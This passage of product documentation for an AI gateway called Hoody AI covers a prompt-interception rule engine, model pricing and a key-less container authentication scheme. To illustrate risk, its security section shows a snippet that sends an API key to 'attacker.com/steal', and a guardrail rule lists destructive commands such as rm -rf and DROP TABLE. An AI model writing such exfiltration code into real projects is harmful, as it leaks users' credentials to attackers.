    "content": "CRITICAL: Never execute destructive commands (rm -rf, DROP TABLE, DELETE FROM, git push --force, etc.) without explicitly asking the user first. This is a production environment. Confirm before any irreversible action.",
    "position": "append",
    "target": "system"
  },
  "cooldownMs": 0
}
```


The agent literally cannot avoid this instruction. It is part of the system prompt. Every response, every tool call, every decision passes through this guardrail. No amount of prompt engineering by the AI can override it — because it is injected after the prompt is assembled.

#### 2. AI Cost Watchdog

Track every tool call across all sessions. This webhook fires after every tool execution, sending the session ID, tool name, and event details to your cost tracking endpoint. Know exactly which agents are burning through your budget.


```json
{
  "id": "cost-watchdog",
  "name": "AI cost watchdog",
  "enabled": true,
  "description": "Track all tool executions for cost analysis",
  "trigger": {
    "event": "tool.execute.after",
    "tags": []
  },
  "action": {
    "type": "webhook",
    "url": "https://your-tracking.example.com/api/ai-usage",
    "method": "POST",
    "headers": {
      "Authorization": "Bearer YOUR_TRACKING_TOKEN"
    }
  },
  "cooldownMs": 0
}
```


The webhook body automatically includes `{ event, sessionID, sessionTitle, tags, directory, timestamp, toolName }`. No custom serialization needed. Point it at any analytics endpoint and start aggregating.

#### 3. Human-in-the-Loop for Production Deploys

When the AI mentions deploying to production — in any message, from any session tagged `prod` — you get a notification on your phone. The regex catches variations like "deploy to prod," "production push," "pushing to production," etc.


```json
{
  "id": "deploy-alert",
  "name": "Production deploy alert",
  "enabled": true,
  "description": "Alert when AI mentions deploying to production",
  "trigger": {
    "event": "chat.message",
    "tags": ["prod"],
    "contentMatch": "deploy.*prod|production.*push|push.*production"
  },
  "action": {
    "type": "notification",
    "title": "Production Deploy Detected",
    "body": "AI agent wants to deploy to production. Review in Hoody OS."
  },
  "cooldownMs": 30000
}
```


The 30-second cooldown prevents notification spam if the conversation keeps referencing production deployments. You get one alert, you check it, you decide.

#### 4. Enforce JSON Responses for API Agents

For sessions tagged `api-mode`, prepend a strict formatting instruction to the system prompt. The AI will respond in structured JSON — every time, without reminders.


```json
{
  "id": "json-enforcer",
  "name": "Enforce JSON responses",
  "enabled": true,
  "description": "Force structured JSON output for API-mode sessions",
  "trigger": {
    "event": "chat.system.transform",
    "tags": ["api-mode"]
  },
  "action": {
    "type": "prompt-inject",
    "content": "You MUST respond in valid JSON with the following keys: { \"answer\": string, \"confidence\": number (0-1), \"reasoning\": string }. No markdown, no commentary outside the JSON object.",
    "position": "prepend",
    "target": "system"
  },
  "cooldownMs": 0
}
```


This is how you turn a general-purpose AI agent into a structured API backend. Tag a session as `api-mode`, and the system prompt is automatically rewritten. No code changes to your application.

#### 5. Alert on Errors Across All Agents

When any session hits an error — any session, regardless of tags — fire a webhook to your incident tracking system. PagerDuty, Slack, Opsgenie, a custom endpoint, whatever accepts HTTP.


```json
{
  "id": "error-alert",
  "name": "Global error alert",
  "enabled": true,
  "description": "Alert incident system on any session error",
  "trigger": {
    "event": "session.error",
    "tags": []
  },
  "action": {
    "type": "webhook",
    "url": "https://events.pagerduty.com/v2/enqueue",
    "method": "POST",
    "headers": {
      "Content-Type": "application/json"
    }
  },
  "cooldownMs": 10000
}
```


Empty `tags` array means all sessions. The 10-second cooldown prevents a single flapping session from flooding your incident system. The webhook payload includes the error message in the event context.

#### 6. Inject Context Based on What the Agent Is Doing

When the agent is about to run a `bash` command in a `dev` session, append infrastructure context to the user message. The agent knows where PostgreSQL and Redis are without you telling it every time.


```json
{
  "id": "dev-context-inject",
  "name": "Inject dev infrastructure context",
  "enabled": true,
  "description": "Remind agent about available services before bash commands",
  "trigger": {
    "event": "tool.execute.before",
    "tags": ["dev"],
    "toolName": "bash"
  },
  "action": {
    "type": "message",
    "content": "Reminder: this container has PostgreSQL on port 5432 (user: dev, db: appdb) and Redis on port 6379. Use them if relevant to the current task."
  },
  "cooldownMs": 60000
}
```


The 60-second cooldown is key here. You don't want this context injected before every single bash command — just once per minute at most. The agent gets the reminder when it needs it, without being spammed.

#### 7. Monitor What AI Reads

Every time the agent reads a file, log it. This shell action appends the tool input (which includes the file path) to an access log. Full audit trail of every file the AI touched.


```json
{
  "id": "file-access-log",
  "name": "Log AI file access",
  "enabled": true,
  "description": "Audit trail of files the AI reads",
  "trigger": {
    "event": "tool.execute.after",
    "toolName": "read",
    "tags": []
  },
  "action": {
    "type": "shell",
    "command": "echo \"$(date -Iseconds) session=$MITM_SESSION_ID file=$MITM_TOOL_INPUT\" >> /var/log/ai-file-access.log"
  },
  "cooldownMs": 0
}
```


The shell command has access to `$MITM_SESSION_ID`, `$MITM_TOOL_INPUT`, `$MITM_TOOL_OUTPUT`, `$MITM_TOOL_NAME`, `$MITM_DIRECTORY`, and every other context variable. Write to a log, pipe to `jq`, post to an API with `curl` — your shell, your rules.

---

### The Full Picture

Between the **hoody-exec proxy approach** (earlier in this page) and the **built-in rule engine**, you have two complementary systems:

| Capability | hoody-exec Proxy | Rule Engine |
|-----------|-----------------|-------------|
| **Setup** | Write JavaScript, deploy as exec script, change AI URL | Add JSON to config file or use Settings UI |
| **Latency** | Adds network hop (proxy is a separate process) | Zero — runs inside hoody-agent's process |
| **Flexibility** | Unlimited — full programmatic control | Structured — 7 events, 5 actions, declarative filters |
| **Best for** | Custom caching, model routing, response transformation, multi-tenant quotas | Guardrails, monitoring, alerts, context injection, audit logs |
| **Requires code** | Yes (JavaScript) | No (JSON configuration) |

Use the rule engine for the 80% of cases that follow a pattern. Use hoody-exec for the 20% that need full programmatic control. Use both together when you need guardrails AND custom logic.

**This is what happens when AI is just HTTP.** Every request, every response, every tool call, every system prompt — observable, modifiable, controllable. Per agent, per session, per tool call, per message. No other platform gives you this level of introspection into AI behavior, because no other platform built AI as an HTTP-native service from day one.

---

## What's Next

**Start MITM'ing:**
- [hoody-exec Documentation →](/kit/exec/) - Deploy custom MITM proxy scripts
- [Script Execution →](/api/exec/script-execution/) - API reference for hoody-exec
**Related Concepts:**
- [The HTTP Revolution →](/vision/http-revolution/) - Why HTTP enables MITM capabilities
- [Security Model →](/foundation/hoody-ai/security/) - How MITM fits into Hoody's security
- [Hoody AI Overview →](/foundation/hoody-ai/) - Understanding the AI gateway architecture

---

# Hoody AI Models & Pricing

**Page:** foundation/hoody-ai/models

[Download Raw Markdown](./foundation/hoody-ai/models.md)

---

# Hoody AI Models & Pricing

**Access 300+ AI models through Hoody AI.** Your server communicates directly with 15+ inference providers through Hoody AI's gateway (with our 5% markup on provider costs).


**Dynamic Model List Coming Soon:** This page will soon feature a live model browser that fetches the current list of available models directly from Hoody AI, including real-time pricing, capabilities, and performance metrics.


---

## Inference Providers

**Your server connects directly to these providers through Hoody AI:**

- **Anthropic** - Claude models (Opus, Sonnet, Haiku)
- **OpenAI** - GPT-4, GPT-3.5, Embeddings
- **Google (Vertex AI)** - Gemini models, PaLM
- **Meta (via providers)** - Llama 3.3, Llama 3.1
- **Mistral AI** - Mistral Large, Medium, Mixtral
- **Deepseek** - Deepseek V3, Deepseek Coder
- **Qwen (Alibaba)** - Qwen 2.5, QwQ models
- **Cohere** - Command R+, Embed models
- **xAI** - Grok 2, Grok Vision
- **Perplexity AI** - Sonar Pro, Sonar models
- **Together AI** - Open model hosting platform
- **Fireworks AI** - Optimized open model inference
- **And more providers...**

**How it works:** Hoody AI adds a 5% markup (default, configurable via `HOODY_AI_MODELS_MARKUP_BPS`) on each provider's base cost. Your prompts and responses flow through the Hoody AI gateway running on your own host and then out to these providers — no Hoody-operated platform servers sit between the gateway and the provider.

The `Authorization: Bearer container-<name|N>` shown in the HTTP examples below is a container identity/tracking token automatically minted for each container, not a Hoody API token you copy from a dashboard.

---

## Model Categories

Hoody AI provides access to multiple categories of AI models:

### Text Generation Models

**Chat and completion models** for conversations, code generation, analysis, and general-purpose tasks.

**Leading Providers:**
- **Anthropic** - Claude Opus 4.1, Claude Sonnet 4.5, Claude Haiku 4.0
- **OpenAI** - GPT-4o, GPT-4 Turbo, GPT-3.5 Turbo
- **Google** - Gemini 2.5 Pro Exp, Gemini 1.5 Pro, Gemini Flash
- **Meta** - Llama 3.3 70B, Llama 3.1 405B
- **Mistral** - Mistral Large, Mistral Medium, Mixtral
- **Deepseek** - Deepseek V3, Deepseek Coder
- **Qwen** - Qwen 2.5 72B, QwQ 32B Preview

**Example usage:**


  
    ```bash
    # Chat completion from your container
    curl -X POST "https://ai.hoody.icu/api/v1/chat/completions" \
      -H "Authorization: Bearer container-1" \
      -H "Content-Type: application/json" \
      -d '{
        "model": "anthropic/claude-sonnet-4.5",
        "messages": [{"role": "user", "content": "Hello!"}]
      }'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // List available models
    const models = await client.api.ai.listModels();

    // Chat completion (use HTTP endpoint directly — see HTTP tab)
    // The SDK provides model listing; for chat completions,
    // call the AI gateway endpoint from your container:
    //   POST https://ai.hoody.icu/api/v1/chat/completions
    ```
  
  
    ```bash
    # Chat completion
    curl -X POST "https://ai.hoody.icu/api/v1/chat/completions" \
      -H "Authorization: Bearer container-1" \
      -H "Content-Type: application/json" \
      -d '{
        "model": "anthropic/claude-sonnet-4.5",
        "messages": [{"role": "user", "content": "Hello!"}]
      }'

    # Streaming
    curl -X POST "https://ai.hoody.icu/api/v1/chat/completions" \
      -H "Authorization: Bearer container-1" \
      -H "Content-Type: application/json" \
      -d '{
        "model": "anthropic/claude-sonnet-4.5",
        "messages": [{"role": "user", "content": "Explain AI"}],
        "stream": true
      }'
    ```
  




### Image-Capable Models

**Generate images from text — through the same chat endpoint.**

Hoody AI's catalog is served from the gateway's upstream model list, and image generation happens through the standard OpenAI-compatible `/api/v1/chat/completions` route, not a separate images endpoint. Models that can return images advertise `"image"` in their `output_modalities` in the [`/models`](#checking-model-availability) catalog — request one of those models and the response message includes the generated image.


**Discover image-capable models from the live catalog.** Don't hard-code a model name from this page — pull `/models` and filter on `output_modalities`. The exact set of image-output models depends on what the upstream catalog currently offers.

```bash
curl -s https://ai.hoody.icu/api/v1/models -H "Authorization: Bearer container-1" \
  | jq -r '.data[] | select(.output_modalities | index("image")) | .id'
```


**Example usage:**


  
    ```bash
    # Ask an image-capable model to generate an image (output via chat/completions)
    curl -X POST "https://ai.hoody.icu/api/v1/chat/completions" \
      -H "Authorization: Bearer container-1" \
      -H "Content-Type: application/json" \
      -d '{
        "model": "<image-capable-model-id>",
        "messages": [{"role": "user", "content": "A serene mountain landscape at sunset"}]
      }'
    ```
  
  
    ```typescript
    // Image-capable models return images in the chat response.
    // Pick a model whose output_modalities include "image" (see /models).
    const response = await fetch('https://ai.hoody.icu/api/v1/chat/completions', {
      method: 'POST',
      headers: {
        'Authorization': 'Bearer container-1',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        model: '<image-capable-model-id>',
        messages: [{ role: 'user', content: 'A serene mountain landscape at sunset' }]
      })
    });
    const data = await response.json();
    console.log(data.choices[0].message);
    ```
  
  
    ```bash
    curl -X POST "https://ai.hoody.icu/api/v1/chat/completions" \
      -H "Authorization: Bearer container-1" \
      -H "Content-Type: application/json" \
      -d '{
        "model": "<image-capable-model-id>",
        "messages": [{"role": "user", "content": "A serene mountain landscape at sunset"}]
      }'
    ```
  


### Embedding Models

**Convert text into vector embeddings** for semantic search, similarity matching, and RAG applications.

**Available Models:**
- **OpenAI** - text-embedding-3-large, text-embedding-3-small, text-embedding-ada-002
- **Cohere** - embed-english-v3.0, embed-multilingual-v3.0
- **Google** - text-embedding-004
- **Voyage AI** - voyage-large-2, voyage-code-2

**Example usage:**


  
    ```bash
    # Generate text embeddings
    curl -X POST "https://ai.hoody.icu/api/v1/embeddings" \
      -H "Authorization: Bearer container-1" \
      -H "Content-Type: application/json" \
      -d '{"model": "openai/text-embedding-3-large", "input": "Search for similar documents"}'
    ```
  
  
    ```typescript
    // Generate embeddings — call the AI gateway directly from your container
    const response = await fetch('https://ai.hoody.icu/api/v1/embeddings', {
      method: 'POST',
      headers: {
        'Authorization': 'Bearer container-1',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        model: 'openai/text-embedding-3-large',
        input: 'Search for similar documents'
      })
    });
    const data = await response.json();
    console.log(data.data[0].embedding.length, 'dimensions');
    ```
  
  
    ```bash
    curl -X POST "https://ai.hoody.icu/api/v1/embeddings" \
      -H "Authorization: Bearer container-1" \
      -H "Content-Type: application/json" \
      -d '{
        "model": "openai/text-embedding-3-large",
        "input": "Search for similar documents"
      }'
    ```
  




---

## Model Selection Guide

### By Use Case

**Code Generation & Analysis:**
- `anthropic/claude-sonnet-4.5` - Best for complex code
- `anthropic/claude-opus-4.1` - Most capable, slower
- `openai/gpt-4o` - Fast, good for most tasks
- `deepseek/deepseek-coder` - Specialized for coding

**Creative Writing:**
- `openai/gpt-4o` - Excellent creativity
- `anthropic/claude-opus-4.1` - Nuanced writing
- `google/gemini-2.5-pro-exp` - Long-form content

**Fast Responses:**
- `anthropic/claude-haiku-4.0` - Ultra-fast, economical
- `openai/gpt-3.5-turbo` - Quick responses
- `google/gemini-flash` - Speed-optimized

**Large Context:**
- `anthropic/claude-sonnet-4.5` - 200K token context
- `google/gemini-2.5-pro-exp` - 2M token context
- `openai/gpt-4-turbo` - 128K token context

### By Cost

**Most Economical:**
- `anthropic/claude-haiku-4.0`
- `meta/llama-3.3-70b`
- `google/gemini-flash`
- `openai/gpt-3.5-turbo`

**Balanced Cost/Performance:**
- `anthropic/claude-sonnet-4.5`
- `openai/gpt-4o`
- `google/gemini-1.5-pro`

**Premium Capability:**
- `anthropic/claude-opus-4.1`
- `openai/gpt-4-turbo`
- `google/gemini-2.5-pro-exp`

---

## Model Format

All models use Hoody AI's standard model identifier format:

```
{provider}/{model-name}
```

**Examples:**
- `anthropic/claude-sonnet-4.5`
- `openai/gpt-4o`
- `google/gemini-2.5-pro-exp`
- `meta/llama-3.3-70b`
- `deepseek/deepseek-v3`

**Important:** Use the exact model identifier shown. Variations won't work:
- ✅ `anthropic/claude-sonnet-4.5`
- ❌ `claude-sonnet-4.5`
- ❌ `claude-sonnet`
- ❌ `anthropic/claude`

---

## Checking Model Availability


**Live model list:** Query the Hoody API for the current list of available models, including real-time availability.

```bash
curl "https://api.hoody.icu/api/v1/ai/models" \
  -H "Authorization: Bearer $HOODY_TOKEN"
```


**SDK equivalent:** `client.api.ai.listModels()` returns the same data from any supported language.

---

## Model-Specific Features

### Streaming Support

All text models support streaming responses:



Returns Server-Sent Events (SSE) for real-time token streaming.

### Function Calling

Models with function calling support:
- `anthropic/claude-sonnet-4.5` and newer
- `openai/gpt-4o` and newer
- `google/gemini-2.5-pro-exp`



### Vision Capabilities

Models with image understanding:
- `openai/gpt-4o`
- `anthropic/claude-sonnet-4.5`
- `google/gemini-2.5-pro-exp`



---

## Best Practices

### Model Selection

**Start cheap, scale up:**
1. Prototype with `anthropic/claude-haiku-4.0` or `openai/gpt-3.5-turbo`
2. Test with `anthropic/claude-sonnet-4.5` or `openai/gpt-4o`
3. Use `anthropic/claude-opus-4.1` only when needed

### Performance Optimization

**Match model to task complexity:**
- Simple tasks → Use fast, cheap models
- Complex reasoning → Use premium models
- Bulk operations → Batch requests with economical models

**Example:**
```typescript
// Classification: Use cheap model
const category = await classifyWithModel('anthropic/claude-haiku-4.0', text);

// Based on category, use appropriate model
const modelMap = {
  'simple': 'anthropic/claude-haiku-4.0',
  'moderate': 'anthropic/claude-sonnet-4.5',
  'complex': 'anthropic/claude-opus-4.1'
};

const response = await processWithModel(modelMap[category], text);
```

### Cost Management

**Monitor AI usage per container:**
```bash
# Check which containers have AI enabled
curl "https://api.hoody.icu/api/v1/containers" \
  | jq '.data.containers[] | select(.ai == true) | {id, name, ai}'

# Enable/disable AI per container to control access
curl -X PATCH "https://api.hoody.icu/api/v1/containers/{id}" \
  -d '{"ai": false}'  # Disable AI to prevent usage
```

**Note:** Container-level quotas and rate limiting are not currently available. Cost management is achieved by enabling/disabling AI access per container.

---

## Troubleshooting

### "Model not found" Error

**Problem:** Invalid model identifier

**Solution:** Verify exact model string:
```bash
# ❌ Wrong
"model": "claude-sonnet"

# ✅ Correct
"model": "anthropic/claude-sonnet-4.5"
```

### Rate Limiting

**Problem:** `429 Too Many Requests`

**Solutions:**
- Implement exponential backoff
- Use multiple containers to distribute load
- Switch to faster models to reduce request count
- Contact Hoody support for increased AI credit allocation

### Slow Responses

**Problem:** Long wait times for responses

**Solutions:**
- Use streaming (`"stream": true`) for immediate feedback
- Switch to faster models (Haiku, GPT-3.5-Turbo, Gemini Flash)
- Reduce `max_tokens` parameter
- Simplify prompts

---

## What's Next

**Dynamic Model Browser** (Coming Soon):
- Live model availability
- Real-time pricing
- Capability comparison
- Performance benchmarks
- Usage recommendations

**Current Resources:**
- [Usage Guide →](/foundation/hoody-ai/usage/) - Integration examples
- [Security →](/foundation/hoody-ai/security/) - Key-less operation
- [Hoody AI Overview →](/foundation/hoody-ai/) - Gateway features and pricing

---

# Hoody AI Security

**Page:** foundation/hoody-ai/security

[Download Raw Markdown](./foundation/hoody-ai/security.md)

---

# Hoody AI Security

**The problem with traditional AI integration:** API keys everywhere. In environment variables. In config files. In logs. Visible to freelancers, AI-generated code, and anyone with container access.

**Hoody AI's solution:** No API keys in containers. Period.

---

## The Key-Less Architecture

**Hoody AI doesn't use API keys.** It uses **container authentication**.

### Traditional Approach (Insecure)

```javascript
// ❌ Real API key exposed in container
const ANTHROPIC_KEY = process.env.ANTHROPIC_KEY; // sk-ant-api03-...
const OPENAI_KEY = process.env.OPENAI_KEY;       // sk-proj-...

// Anyone with container access can copy and use these keys
// They work from anywhere, not just your infrastructure
// Freelancers can use them after project ends
// Malware can exfiltrate them
```

### Hoody AI Approach (Secure)

```javascript
// ✅ No real API key - just container identity
const auth = 'container-dev-env'; // Only proves "I am this container"
// Or: 'container-1', 'container-2' for numbered containers

// This auth token:
// - Doesn't work outside your infrastructure
// - Dies when container is deleted
// - Can't be used by freelancers elsewhere
// - Is useless if exfiltrated
```

**Key insight:** `container-X` is not an API key. It's a container identity token that only proves which container is making the request. The `X` can be either the container name (e.g., `container-dev-env`) or a number (e.g., `container-1`, `container-2`, `container-3`).

**Numbered containers for usage tracking:** Using numbered container identities (e.g., `container-1`, `container-2`) enables better AI usage attribution in the future. While per-container usage tracking isn't fully implemented yet, numbered identities will allow you to:
- Track AI consumption by specific workloads
- Attribute costs to individual clients/projects
- Generate detailed billing reports

**Future-proofing:** If you anticipate needing granular usage tracking, use numbered container identities now (`container-1`, `container-2`, etc.) rather than descriptive names. This makes it easier to aggregate and analyze AI usage patterns when detailed tracking features are released.

---

## How It Works

### 1. Host-Level Isolation

Hoody AI runs **on the HOST**, not inside containers:

```
Your Physical Server
├── Host OS (Bare Metal)
│   └── Hoody AI Service
│       ├── Listens: https://ai.hoody.icu/api/v1
│       ├── Holds: Your real Anthropic/OpenAI API keys
│       ├── Accepts: Only requests from local containers
│       └── Verifies: Container identity + permissions
│
└── Containers (Isolated)
    ├── Container 1: Can access AI (if enabled)
    ├── Container 2: Can access AI (if enabled)
    └── Container 3: Cannot access AI (disabled)
```

**Containers never see your real API keys.** They only see `container-X` authentication tokens.

### 2. Container-Restricted Access

**Authentication flow:**

```
1. Container sends: "Bearer container-dev-env"
2. Hoody AI checks:
   ✓ Is this request from a container on THIS server?
   ✓ Does container "dev-env" exist?
   ✓ Is AI enabled for this container?
3. If all checks pass:
   → Use real API key (from host)
   → Call AI provider
   → Return response to container
```

**If container identity is copied elsewhere:**
```
1. Attacker tries: "Bearer container-dev-env" from different server
2. Hoody AI checks:
   ✗ Request not from local container
   → REJECT (401 Unauthorized)
```

### 3. Zero-Knowledge Privacy

**Traffic flow:**
```
Container → Hoody AI (your server) → AI Provider → Response
```

**What Hoody platform knows:**
- You created a container
- Container has AI enabled
- [That's it]

**What Hoody platform DOESN'T know:**
- Your AI prompts
- AI responses
- What you're building
- Your API usage patterns

The AI proxy runs on YOUR hardware. We never see the traffic.

---

## Security Benefits

### No Key Exposure


**Traditional setup:** API keys in environment variables

```bash
# .env file
ANTHROPIC_KEY=sk-ant-api03-real-key-here
OPENAI_KEY=sk-proj-real-key-here
```

**Risks:**
- Visible in process lists (`ps aux | grep KEY`)
- Logged in error messages
- Visible to debugging tools
- Copied to snapshots
- Shared with freelancers
- Accessible to AI-generated code



**No API keys in containers**

```bash
# No .env needed
# Just use: container-{name}
```

**Benefits:**
- Nothing to leak
- Nothing to rotate
- Nothing to secure
- Instant revocation (delete container)


### Safe Onboarding

**Scenario:** Hiring a freelancer to build a feature

**Without Hoody AI:**
```
1. Give freelancer access to server
2. Give them API keys (or they see them in env vars)
3. Hope they don't copy/abuse them
4. After project: Rotate all keys (painful)
5. Risk: They already copied the keys
```

**With Hoody AI:**
```
1. Create container: "freelancer-alice"
2. Enable AI access
3. Share container URL
4. They use: "container-freelancer-alice" (works only from that container)
5. After project: Delete container (instant revocation)
6. Risk: Zero - their auth token is now useless
```

### Vibe-Code Safety

**Scenario:** AI generates your entire application

**Without Hoody AI:**
```javascript
// AI might generate code like:
console.log('API Key:', process.env.OPENAI_KEY); // Leaked to logs
fetch('https://attacker.com/steal', {
  body: process.env.ANTHROPIC_KEY  // Exfiltrated
});
```

**With Hoody AI:**
```javascript
// AI generates:
console.log('API Key:', process.env.AI_KEY); 
// Logs: "container-dev-env" (useless outside your server)

fetch('https://attacker.com/steal', {
  body: process.env.AI_KEY
});
// Attacker gets: "container-dev-env" (can't use it)
```

### Consumer SaaS Protection

**Scenario:** Building a SaaS app with AI features

**Without Hoody AI:**
```javascript
// Frontend code (visible to users)
const response = await fetch('/api/ai', {
  headers: {
    'Authorization': 'Bearer sk-real-api-key' // ❌ Exposed in browser
  }
});
```

**With Hoody AI:**
```javascript
// Frontend code (visible to users)
const response = await fetch('/api/ai', {
  headers: {
    'Authorization': 'Bearer container-saas-prod' // ✅ Useless if copied
  }
});
```

Even if users inspect network traffic or source code, they get nothing useful.

---

## Advanced Security Features

### Per-Container Permissions

Enable/disable AI access granularly. Delete a container for instant AI revocation. Audit which containers have AI enabled.


  
    ```bash
    # Enable AI for a container
    hoody containers update $CONTAINER_ID --ai

    # Disable AI for untrusted workload (use the SDK/API — see the SDK tab)
    # The `update` command can only enable AI; to disable it, call the API
    # with {"ai": false} or recreate the container with `--no-ai`.

    # Delete a container (instant AI revocation)
    hoody containers delete $CONTAINER_ID

    # Audit: list containers with AI status
    hoody containers list -o json | jq '.[] | {id, name, ai}'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Enable AI for production container
    await client.api.containers.update(prodId, { ai: true });

    // Disable AI for untrusted workload
    await client.api.containers.update(untrustedId, { ai: false });

    // Instant revocation — delete the container
    await client.api.containers.delete(freelancerId);

    // Audit: list containers with AI status
    const containers = await client.api.containers.list();
    containers.data.containers.filter(c => c.ai).forEach(c => {
      console.log(c.name, c.ai);
    });
    ```
  
  
    ```bash
    # Enable AI for production
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$PROD_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"ai": true}'

    # Disable AI for untrusted workload
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$UNTRUSTED_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"ai": false}'

    # Delete container (instant revocation)
    curl -X DELETE "https://api.hoody.icu/api/v1/containers/$FREELANCER_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Audit containers with AI status
    curl "https://api.hoody.icu/api/v1/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      | jq '.data.containers[] | {id, name, ai}'
    ```
  


**No key rotation needed.** Just delete the container for instant revocation.

### MITM Rules for Prompt Verification

Beyond container-level access control, the Hoody Kit `agent` service (served by `hoody-workspaces` and exposed as `hoody-agent`) ships a built-in rule engine that lets you enforce security policies at the prompt level — without writing any code. Define a rule on the `chat.system.transform` event that appends guardrails to every system prompt: "Never execute destructive commands without asking first." Tag it for `prod` sessions only. The AI literally cannot bypass the instruction — it is injected into the system prompt at engine level, after assembly, before the LLM sees it.

You can also monitor what AI agents read and write. A rule on `tool.execute.after` with `toolName: "read"` logs every file the agent accesses. A rule on `session.error` sends a webhook to your incident system when any agent fails. All of this is JSON configuration — no JavaScript, no proxy, no URL changes.

See the full rule engine documentation in [MITM: Built-In Rule Engine](/foundation/hoody-ai/mitm/#built-in-rule-engine-zero-code-mitm).

---

## Comparison: Traditional vs Hoody AI

| Aspect | Traditional API Keys | Hoody AI |
|--------|---------------------|-----------|
| **Key Storage** | In containers (.env files) | On HOST only |
| **Key Visibility** | Visible to container users | Never exposed |
| **Key Rotation** | Manual, painful | Not needed |
| **Revocation** | Rotate key globally | Delete container |
| **Freelancer Risk** | Can copy and reuse | Container-restricted |
| **Code Gen Risk** | AI can leak keys | No keys to leak |
| **SaaS Exposure** | Keys visible in code | Useless container tokens |
| **Privacy** | Provider sees usage | Zero-knowledge (runs on your server) |

---

## Use Cases

### Multi-Tenant SaaS

Give each customer their own container:

```bash
# Customer A
container-customer-acme → AI enabled

# Customer B
container-customer-techcorp → AI enabled

# Free tier customer
container-customer-startup → AI disabled
```

Each customer isolated. Instant provisioning and revocation.

### Development Teams

Per-developer containers:

```bash
# Alice's dev environment
container-dev-alice → AI enabled

# Bob's dev environment
container-dev-bob → AI enabled

# CI/CD pipeline
container-ci-prod → AI disabled (doesn't need it)
```

Developers can't access each other's resources. Production isolated from development.

### Outsourced Development

Contractors get temporary container access:

```bash
# Contract period: 3 months
container-contractor-alice → AI enabled

# After contract ends:
DELETE container-contractor-alice
# Alice's access immediately revoked
# No key rotation needed
# No risk of continued usage
```

---

## Best Practices

### Container Naming for Security

Use descriptive names that indicate purpose and access level:

```bash
container-prod-api        # Production workload
container-dev-alice       # Developer-specific
container-client-acme     # Client-specific
container-untrusted-test  # Limited permissions
```

Names become part of authentication, making audit trails clearer.

### Disable AI for Untrusted Code

If running third-party code or untrusted workloads:


  
    ```bash
    # The `update` command can only enable AI (--ai); it has no flag to
    # turn AI off. To run an untrusted workload without AI, create the
    # container with AI disabled from the start:
    hoody containers create --project $PROJECT_ID --server-id $SERVER_ID \
      --name my-untrusted-container --no-ai
    ```
  
  
    ```typescript
    await client.api.containers.update(containerId, { ai: false });
    ```
  
  
    ```bash
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"ai": false}'
    ```
  


### Use Snapshots for Rollback

Before giving AI extensive access:


  
    ```bash
    # Create snapshot before AI generation
    hoody snapshots create -c $CONTAINER_ID --alias "before-ai-generation"

    # Let AI generate code...

    # If result is bad, restore using snapshot name
    hoody snapshots restore -c $CONTAINER_ID --name "snap-20250111-125430"
    ```
  
  
    ```typescript
    // Create snapshot before AI generation
    const snapshot = await client.api.containers.createSnapshot(
      containerId,
      { alias: 'before-ai-generation' }
    );

    // Let AI generate code...

    // If result is bad, restore
    await client.api.containers.restoreSnapshot(
      containerId,
      snapshot.data.snapshot.name
    );
    ```
  
  
    ```bash
    # Create snapshot with alias
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "before-ai-generation"}'

    # Note the snapshot name returned (e.g., "snap-20250111-125430")
    # Let AI generate code...

    # If result is bad, restore using snapshot name
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots/snap-20250111-125430" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


### Monitor AI Usage

Regular audits of container AI consumption:


  
    ```bash
    # Weekly audit — list containers with AI enabled
    hoody containers list -o json | jq '.[] | select(.ai == true) | {name, ai}'
    ```
  
  
    ```typescript
    const containers = await client.api.containers.list();
    const aiEnabled = containers.data.containers.filter(c => c.ai);
    aiEnabled.forEach(c => console.log(c.name, c.ai));
    ```
  
  
    ```bash
    # Weekly audit
    curl "https://api.hoody.icu/api/v1/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      | jq '.data.containers[] | select(.ai == true) | {name, ai}'
    ```
  


Identify which containers have AI access enabled.

---

## Useful Questions

### What if I want to use my own AI providers?

You own the infrastructure, so you can configure your own AI providers directly on the host instead of using Hoody AI credits. However, you'd need to handle the API key management yourself, which reintroduces the security challenges that Hoody AI solves.

### Can containers intercept each other's AI traffic?

No. Each container's AI requests are isolated. Container A cannot see Container B's prompts or responses.

### What happens if my server is compromised?

If an attacker gains root access to your server, they could potentially access the Hoody AI configuration. Threat model:
- Containers remain isolated from each other
- Attacker still needs to know which containers exist
- You can instantly revoke by deleting containers
- Your provider/gateway API keys are stored on the host (in host-side config, plaintext by default); root on the host can read them, just as with any self-hosted AI gateway

This remains far better than scattering the same keys across every container that needs AI access, but treat the host filesystem as part of the key's trust boundary and disk-encrypt accordingly.

### Can I rate-limit per-container?

Not currently. Container-level rate limiting is not yet implemented. AI access is controlled at the container level via the `ai` boolean flag (enabled/disabled only).

### How do I prevent abuse from vibe-coded apps?

1. Enable AI only on trusted containers
2. Monitor usage regularly
3. Use snapshots to rollback bad AI generations
4. Review AI-generated code before deployment

---

## Troubleshooting

### "Unauthorized" Even Though Container Has AI Enabled

**Possible causes:**
- Container authentication token incorrect (must be exact: `container-{name}`)
- Container on different server than Hoody AI
- Container permissions not updated (API cache delay)

**Solution:**
```bash
# Verify container status
curl "https://api.hoody.icu/api/v1/containers/{id}" \
